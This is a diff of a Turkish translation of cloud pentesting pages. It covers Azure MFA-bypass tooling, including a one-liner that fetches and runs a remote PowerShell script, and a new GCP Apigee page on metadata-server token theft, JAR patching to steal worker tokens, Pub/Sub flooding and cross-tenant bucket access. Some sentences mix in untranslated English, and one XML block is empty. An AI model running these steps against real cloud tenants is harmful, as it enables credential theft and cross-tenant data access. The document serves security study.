edilirse on-prem ADFS sunucusuna giriş yapmayı deneyebilir. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -Bu araç, MFA atlatmalarını tanımlamaya ve ardından birden fazla üretim AAD kiracısında API'leri kötüye kullanmaya yardımcı olmuştur; burada AAD müşterileri MFA'nın zorunlu olduğunu düşünüyordu, ancak ROPC tabanlı kimlik doğrulama başarılı oldu. +Bu araç, birden fazla üretim AAD kiracısında MFA bypass'larını tespit etmeye ve ardından APIs'leri istismar etmeye yardımcı oldu; AAD müşterileri MFA'nın zorunlu olduğunu düşündükleri durumlarda ROPC tabanlı kimlik doğrulaması başarılı oldu. > [!TIP] -> Brute-force yapmak için uygulamaların listesini oluşturabilmek için tüm uygulamaları listeleme izinlerinizin olması gerekir. +> Brute-force yapılacak uygulama listesini oluşturabilmek için tüm uygulamaları listeleme izinlerine sahip olmanız gerekir. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json @@ -143,29 +149,29 @@ Bu araç, MFA atlatmalarını tanımlamaya ve ardından birden fazla üretim AAD ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token, Conditional Access Policies'ı doğrulamak, 2FA etkin Microsoft portalları için testler yapmak gibi ihtiyaçları olan güvenlik danışmanlarına yardımcı olmayı amaçlayan bir dizi işlevdir. +Donkey token, Conditional Access Policies'ı doğrulaması gereken güvenlik danışmanlarına ve 2FA etkin Microsoft portalları için testler vb. konularda yardımcı olmayı amaçlayan bir fonksiyon setidir..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Her portali test edin** eğer **MFA olmadan giriş yapmak mümkünse**: +**Her portalı test edin** eğer **MFA olmadan oturum açılabiliyorsa**: ```bash -$username = "conditional-access-app-user@azure.training.hacktricks.xyz" +$username = "conditional-access-app-user@azure.hacktricks-training.com" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` -**Azure** **portal** kısıtlanmadığı için, önceki yürütme ile tespit edilen herhangi bir hizmete erişmek için portal uç noktasından bir token toplamak mümkündür. Bu durumda Sharepoint tanımlandı ve ona erişmek için bir token talep ediliyor: +Çünkü **Azure** **portal** **not constrained** olduğundan, önceki yürütme tarafından tespit edilen herhangi bir servise erişmek için **gather a token from the portal endpoint to access any service detected** mümkündür. Bu durumda Sharepoint tespit edildi ve ona erişmek için bir token istendi: ```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` -Token'un Sites.Read.All (Sharepoint'tan) iznine sahip olduğunu varsayarsak, MFA nedeniyle web üzerinden Sharepoint'e erişemeseniz bile, oluşturulan token ile dosyalara erişmek mümkündür: +Varsayalım token'ın Sites.Read.All (Sharepoint'ten) izni var; Sharepoint'e web'den MFA nedeniyle erişemiyor olsanız bile, oluşturulan token'ı kullanarak dosyalara erişmek mümkündür: ```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` -## Referanslar +## Kaynaklar - [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s) - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md new file mode 100644 index 000000000..25f0b3a13 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md @@ -0,0 +1,68 @@ +# GCP - Apigee Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Apigee metadata SSRF -> Dataflow cross-tenant pivot + +Tek bir Apigee tenant project, Message Processor metadata server'a ulaşmak, service account'unu çalmak ve cross-tenant bucket'ları okuyan/yazan paylaşılan bir Dataflow analytics pipeline'ına pivot yapmak için kötüye kullanılabilir. + +### Expose the metadata server through Apigee + +- Apigee proxy hedefini `http://169.254.169.254` olarak ayarlayın ve `Metadata-Flavor: Google` ile `/computeMetadata/v1/instance/service-accounts/default/token`'den token isteyin. +- GCP metadata `X-Forwarded-For` içeren istekleri reddeder; Apigee bunu varsayılan olarak ekler. Proxylemeden önce `AssignMessage` ile bunu çıkarın: +```xml + + + +
+ + +true + +``` +### Çalınmış Apigee servis hesabını listele + +- The leaked SA (Google tarafından `gcp-sa-apigee` altında yönetilen) gcpwn gibi araçlarla izinleri hızlıca test etmek için listelenebilir. +- Gözlemlenen güçlü izinler arasında şunlar vardı: **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, ve **Pub/Sub topic publish**. Temel keşif: +```bash +gcloud compute disks list --project +``` +### Snapshot exfiltration for opaque managed services + +Disk/snapshot izinleriyle tenant projeye giriş yapamıyor olsanız bile yönetilen çalışma zamanlarını çevrimdışı inceleyebilirsiniz: + +1. Tenant projedeki hedef diskin snapshot'ını oluşturun. +2. Snapshot'ı kendi projenize kopyalayın/göç ettirin. +3. Snapshot'tan bir disk yeniden oluşturun ve VM'inize takın. +4. Log'ları/konfigürasyonları mount edip iç bucket isimlerini, servis hesaplarını ve pipeline seçeneklerini geri çıkarın. + +### Dataflow dependency replacement via writable staging bucket + +- Analytics workers startup'ta GCS staging bucket'tan JAR'ları çekiyordu. Apigee SA'nın bucket yazma izni olduğundan JAR'ı indirin ve (ör. Recaf ile) `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` çağıracak ve **Dataflow worker** token'ını çalacak şekilde patch'leyin. +- Dataflow workers'ın internet egress'i yoktu; token'ı küme içi GCP API'lerini kullanarak saldırgan kontrollü bir GCS bucket'ına yazarak exfiltrate edin. + +### Force malicious JAR execution by abusing autoscaling + +Mevcut worker'lar değiştirilmiş artifact'ları yeniden yüklemeyecek. Yeni worker'ları tetiklemek için pipeline girişini aşırı yükleyin: +```bash +for i in {1..5000}; do +gcloud pubsub topics publish apigee-analytics-notifications \ +--message "flood-$i" --project +done +``` +Yeni oluşturulan instance'lar yama uygulanmış JAR'ları alıyor ve leak the Dataflow SA token. + +### Cross-tenant bucket tasarım hatası + +Decompile edilmiş Dataflow kodu, paylaşılan bir metadata bucket'ı altında tenant'a özgü herhangi bir bileşen olmadan `revenue/edge//tenant2TenantGroupCacheDir` gibi önbellek yolları gösteriyordu. Dataflow token ile okuyup/yazabilirsiniz: + +- `tenantToTenantGroup` önbellekleri diğer tenant'ların project+environment isimlerini açığa çıkarır. +- `customFields` ve `datastores` klasörleri tüm tenant'lar genelinde isteğe bağlı analitik veriler (son-kullanıcı IP'leri ve düz metin access token'lar dahil) barındırır. +- Yazma erişimi analitik verilerde olası tahrifat/zehirleme anlamına gelir. + +## Referanslar + +- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/) +- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy) + +{{#include ../../../banners/hacktricks-training.md}}